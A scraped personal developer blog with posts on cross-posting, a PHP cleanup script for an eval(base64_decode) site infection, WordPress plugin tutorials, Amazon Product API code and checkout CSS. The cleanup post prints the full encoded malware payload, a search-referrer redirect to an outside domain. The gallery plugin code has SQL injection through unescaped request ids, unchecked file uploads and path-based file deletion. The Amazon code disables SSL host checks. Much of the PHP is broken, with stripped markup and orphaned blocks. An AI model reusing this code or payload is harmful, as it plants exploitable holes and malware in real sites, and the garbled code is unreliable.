Wednesday, April 4, 2012

adding-one-post-in-multiple-blog



You can add your one post to your multiple blog .

 For this there is one site providing this facilities.
Site: --    ping.fm
Create an account on this. Select the network you want to add eg presently using blogspot.com 

then check  the field in posting  option .

Thursday, January 19, 2012

Remove eval(base64_decode) virus from your server or from website site

Given code below will remove this eval(base64_decode) virus from your website or server you have to save the file by name
list_files.php
and run the file on your server it display all the directory file when you run after successful run it remove the the given virus from site

Please check the same code in $str available on your site if other kindly replace that or dont use.




function listdir($dir='.') { 
if (!is_dir($dir)) { 
return false; 
} 

$files = array(); 
listdiraux($dir, $files); 

return $files; 
} 

function listdiraux($dir, &$files) { 
$handle = opendir($dir); 
while (($file = readdir($handle)) !== false) { 
if ($file == '.' || $file == '..') { 
continue; 
} 
$filepath = $dir == '.' ? $file : $dir . '/' . $file; 
if (is_link($filepath)) 
continue; 
if (is_file($filepath)) 
$files[] = $filepath; 
else if (is_dir($filepath)) 
listdiraux($filepath, $files); 
} 
closedir($handle); 
} 

$files = listdir('.'); 
sort($files, SORT_LOCALE_STRING); 

foreach ($files as $f) { 
echo $f, "
"; 
/*$file = $f; 
$str='eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29udGVudG8uYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ=="));'; 
$rep =''; 
if($f == 'remove_in_dir.php' || $f == 'remove.php' || $f == 'list_files.php' ){}else 
{ 
$fh = fopen($file, 'r+'); 
if(filesize($file) == 0) {} else 
{ 
$contents = fread($fh, filesize($file)); 
$new_contents = str_replace($str, $rep, $contents); 
} 
fclose($fh); 

// Open file to write 
$fh = fopen($file, 'w+'); 
fwrite($fh, $new_contents); 
fclose($fh); 

}*/ 
} 
?> 


Tuesday, January 17, 2012

How to create a short plugin with short code

ob_start();

/*

Plugin Name:Plugin_PDF

Plugin URI: http://vikasbruce.blogspot.com/


Author: Vikas Gautam



*/


add_action('admin_menu', 'add_admin_panel');

function add_admin_panel(){

$icon_path = get_option('siteurl').'/wp-content/plugins/'.basename(dirname(__FILE__)).'/icon';

add_menu_page('Plugin_PDF', 'Plugin_PDF','read','my-plug','',$icon_path.'/icon.png');

add_submenu_page('my-plug', 'Plugin_PDF', '1st Submenu', 'read', 'my-plug','my_menu_default');

}

function my_menu_default()

{

echo "Hello Admin Section ";

}
function show_data()
{
echo "hello user Section ";

}
add_shortcode('Download', 'show_data');

?>


by plugin you can easily use the shortcode [Download]

to show the data any post or page

to ahow the data in template you can use
echo do_shortcode([Download]);

Sunday, January 8, 2012

how to create a simle plugin in wodpress

this is th plugin for gallery first create a file --


/*

Plugin Name:Side Gallery

Plugin URI:

Description:

Author: Vikas Gautam


*/

include("side_function.php");

add_action('admin_menu', 'add_admin_panel');

function add_admin_panel(){

$icon_path = get_option('siteurl').'/wp-content/plugins/'.basename(dirname(__FILE__)).'/icon';

add_menu_page('Side Gallery', 'Side Gallery','read','my-plug','',$icon_path.'/icon.png');

add_submenu_page('my-plug', 'Side Gallery', '1st Submenu', 'read', 'my-plug','my_menu_default');

}

function my_menu_default(){?>



$sql=mysql_query("CREATE TABLE `td_sidebar_image` (

`id` int(100) NOT NULL AUTO_INCREMENT,

`image_name` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

`path` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

)");



Manage Side Bar Slider





/* Inserting Image*/


$image=new side_gallery;

$image1=$image->inser_image();


/* Inserting image End */


$image_data1=$image->Show_data();

?>




$count=1;

$i=0;

$j=0;

foreach($image_data1 as $image12)

{ $id=$image12['id'];

?>


echo "

".$count."
";?>




echo "

";
?>

if(isset($_POST[$i]))
{
if($_REQUEST['b'.$j])
{
$id12=$_REQUEST['b'.$j];
//echo $_REQUEST['b'.$j];
$image_delete=$image->delete_image($id12);

}
}
$i++;
$j++;
$count++;
}


?>




}


?>








After to handele function add this fiie side_function.php








class side_gallery

{

function inser_image()

{

if(isset($_POST['submit']))

{

$image=$_FILES["file"]["name"];

$path1="../wp-content/Sidebar_image/" . $_FILES["file"]["name"];

$upload_image=mysql_query("insert into td_sidebar_image (id,image_name,path) values('',' $image','$path1')");

echo "$sql";

echo " Record Inserted";

move_uploaded_file($_FILES["file"]["tmp_name"],

"../wp-content/Sidebar_image/" . $_FILES["file"]["name"]);

$path1="../wp-content/Sidebar_image/" . $_FILES["file"]["name"];

}

}


function Show_data()

{


$data=mysql_query("select * from td_sidebar_image");

while($data1=mysql_fetch_assoc($data))

{

$image_data[]=$data1;

//echo $data1['image_name'];

}

return $image_data;

}



function delete_image($id12)

{


$unlik_image=mysql_query("select * from td_sidebar_image where id=$id12");

$data12=mysql_fetch_assoc($unlik_image);

$rt=$data12['path'];


unlink($rt);




$delete=mysql_query("delete from td_sidebar_image where id=$id12");




if($delete)

{

echo "Record Deleted Successfully";

}


}


}


function plugin_side_gallery()

{


$sql=mysql_query("select * from td_sidebar_image");

while($data=mysql_fetch_assoc($sql))

{

$image_da[]=$data;

}

return $image_da;

}



?>





Monday, November 21, 2011

AMAZON CHANGES ITS API RULE FROM NOV

amazon weservices chages its api rule from the nov now itrs nessasery to dd the associate tag with the secret kry to call the product on your site

All the all the site running without the associate tag are bloked and need associate tag



now the new code for the requesting product api are



firsrt is to send request Signed_request.php





function aws_signed_request($region,$params,$public_key,$private_key,$associate_tag)
{

$method = "GET";
$host = "ecs.amazonaws.".$region; // must be in small case
$uri = "/onca/xml";


$params["Service"] = "AWSECommerceService";
$params["AWSAccessKeyId"] = $public_key;
$params["AssociateTag"] = $associate_tag;
$params["Timestamp"] = gmdate("Y-m-d\TH:i:s\Z");
$params["Version"] = "2009-03-31";

/* The params need to be sorted by the key, as Amazon does this at
their end and then generates the hash of the same. If the params
are not in order then the generated hash will be different thus
failing the authetication process.
*/
ksort($params);

$canonicalized_query = array();

foreach ($params as $param=>$value)
{
$param = str_replace("%7E", "~", rawurlencode($param));
$value = str_replace("%7E", "~", rawurlencode($value));
$canonicalized_query[] = $param."=".$value;
}

$canonicalized_query = implode("&", $canonicalized_query);

$string_to_sign = $method."\n".$host."\n".$uri."\n".$canonicalized_query;

/* calculate the signature using HMAC with SHA256 and base64-encoding.
The 'hash_hmac' function is only available from PHP 5 >= 5.1.2.
*/
$signature = base64_encode(hash_hmac("sha256", $string_to_sign, $private_key, True));

/* encode the signature for the request */
$signature = str_replace("%7E", "~", rawurlencode($signature));

/* create request */
$request = "http://".$host.$uri."?".$canonicalized_query."&Signature=".$signature;

/* I prefer using CURL */
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$request);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

$xml_response = curl_exec($ch);

/* If cURL doesn't work for you, then use the 'file_get_contents'
function as given below.
*/

if ($xml_response === False)
{
return False;
}
else
{
/* parse XML */
$parsed_xml = @simplexml_load_string($xml_response);
return ($parsed_xml === False) ? False : $parsed_xml;
}
}
?>




to search the product request
classes.php


require_once 'Signed_request.php';

class AmazonProductAPI
{
/**
* Your Amazon Access Key Id
* @access private
* @var string
*/
private $public_key = "YOUR AMAZON KEY";

/**
* Your Amazon Secret Access Key
* @access private
* @var string
*/
private $private_key = "YOUR AMAZON SECRET KEY";

/**
* Your Amazon Associate Tag
* Now required, effective from 25th Oct. 2011
* @access private
* @var string
*/
private $associate_tag = "YOUR AMAZON ASSOCIATE TAG";

/**
* Constants for product types
* @access public
* @var string
*/

/*
Only three categories are listed here.
More categories can be found here:
http://docs.amazonwebservices.com/AWSECommerceService/latest/DG/APPNDX_SearchIndexValues.html
*/
const MUSIC = "Music";
const DVD = "DVD";
const GAMES = "VideoGames";


/**
* Check if the xml received from Amazon is valid
*
* @param mixed $response xml response to check
* @return bool false if the xml is invalid
* @return mixed the xml response if it is valid
* @return exception if we could not connect to Amazon
*/
private function verifyXmlResponse($response)
{
if ($response === False)
{
throw new Exception("Could not connect to Amazon");
}
else
{
if (isset($response->Items->Item->ItemAttributes->Title))
{
return ($response);
}
else
{
throw new Exception("Invalid xml response.");
}
}
}


/**
* Query Amazon with the issued parameters
*
* @param array $parameters parameters to query around
* @return simpleXmlObject xml query response
*/
private function queryAmazon($parameters)
{
return aws_signed_request("com", $parameters, $this->public_key, $this->private_key, $this->associate_tag);
}


/**
* Return details of products searched by various types
*
* @param string $search search term
* @param string $category search category
* @param string $searchType type of search
* @return mixed simpleXML object
*/
public function searchProducts($search, $category, $searchType = "UPC")
{
$allowedTypes = array("UPC", "TITLE", "ARTIST", "KEYWORD");
$allowedCategories = array("Music", "DVD", "VideoGames");

switch($searchType)
{
case "UPC" : $parameters = array("Operation" => "ItemLookup",
"ItemId" => $search,
"SearchIndex" => $category,
"IdType" => "UPC",
"ResponseGroup" => "Medium");
break;

case "TITLE" : $parameters = array("Operation" => "ItemSearch",
"Title" => $search,
"SearchIndex" => $category,
"ResponseGroup" => "Medium");
break;

}

$xml_response = $this->queryAmazon($parameters);

return $this->verifyXmlResponse($xml_response);

}


/**
* Return details of a product searched by UPC
*
* @param int $upc_code UPC code of the product to search
* @param string $product_type type of the product
* @return mixed simpleXML object
*/
public function getItemByUpc($upc_code, $product_type)
{
$parameters = array("Operation" => "ItemLookup",
"ItemId" => $upc_code,
"SearchIndex" => $product_type,
"IdType" => "UPC",
"ResponseGroup" => "Medium");

$xml_response = $this->queryAmazon($parameters);

return $this->verifyXmlResponse($xml_response);

}


/**
* Return details of a product searched by ASIN
*
* @param int $asin_code ASIN code of the product to search
* @return mixed simpleXML object
*/
public function getItemByAsin($asin_code)
{
$parameters = array("Operation" => "ItemLookup",
"ItemId" => $asin_code,
"ResponseGroup" => "Medium");

$xml_response = $this->queryAmazon($parameters);

return $this->verifyXmlResponse($xml_response);
}


/**
* Return details of a product searched by keyword
*
* @param string $keyword keyword to search
* @param string $product_type type of the product
* @return mixed simpleXML object
*/
public function getItemByKeyword($keyword, $product_type)
{
$parameters = array("Operation" => "ItemSearch",
"Keywords" => $keyword,
"SearchIndex" => $product_type);

$xml_response = $this->queryAmazon($parameters);

return $this->verifyXmlResponse($xml_response);
}

}

?>




now to see teh xml and list of search search.php


include("class.php");

$obj = new AmazonProductAPI();

try
{
$result = $obj->searchProducts("X-Men Origins",
AmazonProductAPI::DVD,
"TITLE");
}
catch(Exception $e)
{
echo $e->getMessage();
}

print_r($result);

echo "Sales Rank : {$result->Items->Item->SalesRank}
";
echo "ASIN : {$result->Items->Item->ASIN}
";
echo "
Items->Item->MediumImage->URL . "\" />
";


?>



for more detail you can go to site refrence http://www.codediesel.com

Saturday, November 12, 2011

to set the format of your checkout page in wp-ecomerce wp plugin

put this in your check out page :---










and the other one you put in style. css


this is your style sheet code

/*
Theme Name: Multisource
Theme URI:
Author: vikas Gautam
Author URI:
*/



.shoping_cart1 .qty_input{
width:130px;
padding:6px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
border:1px solid #717171;
}
.pricedisplay{
float:none;
/*padding-left: 20px;
padding-right: 68px;*/
padding-top: 2px;
}
.remove{
float: left;
}

.shoping_cart{
float:left;
width:961px;
background:#EFEFEF;
height:35px;
line-height:35px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:14px;
font-weight:bold;
}


.shoping_cart1{
float:left;
width:961px;
background:#EFEFEF;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
margin:1px 0 1px 0;
padding:5px 0 5px 0;
}
.shoping_cart1 table td{
border-right:1px solid #717171;
}

/*.shoping_cart1 input{
width:130px;
padding:6px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
border:1px solid #717171;
}*/

.shoping_form{
float:left;
width:961px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
font-weight:bold;
}

.shoping_form strong{
font-family:Arial, Helvetica, sans-serif;
color:#91211e;
font-size:17px;
font-weight:bold;
border-bottom:1px solid #717171;
display:block;
}

.shoping_form input{
float:left;
width:210px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
border:1px solid #717171;
padding:5px;
}

.shoping_form a{
font-family:Arial, Helvetica, sans-serif;
color:#91211e;
font-style:italic;
font-size:12px;
}

.shoping_form a:hover{
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-style:italic;
font-size:12px;
}


.size_cart1{
float:left;
width:961px;
background:#EFEFEF;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
margin:1px 0 1px 0;
padding:5px 0 5px 0;
}
.size_cart1 table td{
border:1px solid #717171;
padding:10px;
border-collapse:collapse;
}


.bold18_black{
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:18px !important;
}

.contact_adress{
float:left;
width:300px;
background:#fde7ea;
padding:15px;
border:1px solid #717171;
}


.contact_adress strong{
font-family:Arial, Helvetica, sans-serif;
color:#fff;
font-size:18px;
display:block;
height:30px;
line-height:30px;
background:#91211e;
}

.contact_adress span{
font-family:Arial, Helvetica, sans-serif;
color:#91211e;
font-size:14px;
font-weight:bold;
}

.contact_adress_img{
float:left;
width:250px;
padding:10px;
}

.check_out_item{
float:right;
width:335px;
background:url(../images/bg001.png) no-repeat;
height:39px;
font-family:Arial, Helvetica, sans-serif;
font-size:12px;
color:#fff;
padding:5px 10px 0 10px;
margin-top:57px;
margin-right:10px;
text-align:left;
line-height:27px;
}


.check_out_item strong{
font-size:22px;
color:#91211e;
font-family:Arial, Helvetica, sans-serif;
}

.check_out_item a{
font-size:12px;
color:#fff;
font-family:Arial, Helvetica, sans-serif;
}
.check_out_item a:hover{
font-size:12px;
color:#91211e;
font-family:Arial, Helvetica, sans-serif;
}


.linkwrapper{
float:left;
width:1000px;
}

.shoping_cart4{
float:left;
width:941px;
background:#EFEFEF;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
margin:1px 0 1px 0;
padding:5px 10px 5px 10px;
}

.shoping_cart4 input{
width:287px;
padding:6px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
border:1px solid #717171;
}
.shoping_cart4 textarea{
width:255px;
height:100px;
padding:6px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
border:1px solid #717171;
}
.shoping_cart4 select{
width:269px;
padding:6px;
font-family:Arial, Helvetica, sans-serif;
color:#000;
font-size:12px;
border:1px solid #717171;
}
.wpsc_billing_forms h4 {
border-bottom: 1px solid #717171;
color: #000000;
font-family: Arial,Helvetica,sans-serif;
font-size: 18px;
font-weight: normal;
margin: 5px 0 15px;
padding: 5px 0 15px;
}
.wpsc_shipping_forms h4 {
border-bottom: 1px solid #717171;
color: #000000;
font-family: Arial,Helvetica,sans-serif;
font-size: 18px;
font-weight: normal;
margin: 5px 0 15px;
padding: 5px 0 15px;
}
.asterix {
color: #FF0000;
font-family: Arial,Helvetica,sans-serif;
font-size: 14px;
font-weight: bold;
}
.shoping_cart4 table tbody tr td {
color: #000000;
font-family: Arial,Helvetica,sans-serif;
font-size: 12px;
}
.wpec-related-wrap {
margin: 0 !important;
}
.validation-error {
color: #D91000;
font-weight: bold;
text-align: center;
width: 230px;
}
.error {
color: #D91000;
font-weight: bold;
text-align: left;
}
.shoping_cart4 li {
list-style: none outside none;
}
#wpsc_pagin a {
padding-left: 3px;
padding-right: 3px;
}
.tshirtproducts .toptitle a{ font-size:14px; font-weight:bold; color:#333; text-decoration:none;}

#mce-EMAIL {
background-color: #EFEFEF;
border: 0 solid #EFEFEF;
margin: 12px 0;
padding: 4px 5px;
width: 205px;
}


#translation_bar
{
width:100px;
margin-left: 71px;
}